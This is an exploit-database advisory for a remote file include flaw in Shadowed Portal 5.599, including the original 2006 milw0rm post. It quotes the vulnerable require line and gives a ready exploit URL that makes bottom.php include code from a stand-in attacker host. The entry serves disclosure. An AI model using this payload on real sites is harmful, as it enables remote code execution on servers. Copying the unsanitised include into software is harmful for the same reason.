Shadowed Portal 5.599 (root) Remote File Include Vulnerability

vendor:

Shadowed Portal 5.599

by:

mad_hacker

8,8

CVSS

HIGH

Remote File Include

CWE

Product Name: Shadowed Portal 5.599

Affected Version From: 5.599

Affected Version To: 5.599

Patch Exists: YES

Related CWE: N/A

CPE: Shadowed Portal

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2006

Shadowed Portal 5.599 (root) Remote File Include Vulnerability

A vulnerability in Shadowed Portal 5.599 allows an attacker to include a remote file via the 'root' parameter in the bottom.php script. An attacker can exploit this vulnerability by sending a maliciously crafted HTTP request containing an arbitrary file from a remote host.

Mitigation:

The vendor has released a patch to address this vulnerability. Users should upgrade to the latest version of Shadowed Portal 5.599.

Source

Exploit-DB raw data:

====================== C Y B E R - W A R R I O R  T I M 
======================

+Shadowed Portal 5.599 (root) Remote File Include Vulnerability

==============================================================================

+Author: mad_hacker (turkish hacker)

==============================================================================

+Class: Remote

==============================================================================

+Vuln Code: require($root."/footer.php");

==============================================================================,

+Exploit: 
http://www.site.com/[script_path]/bottom.php?root=http://evil_scripts?

==============================================================================

+Thanx: xoron, Leak

====================== C Y B E R - W A R R I O R  T I M 
======================

# milw0rm.com [2006-09-13]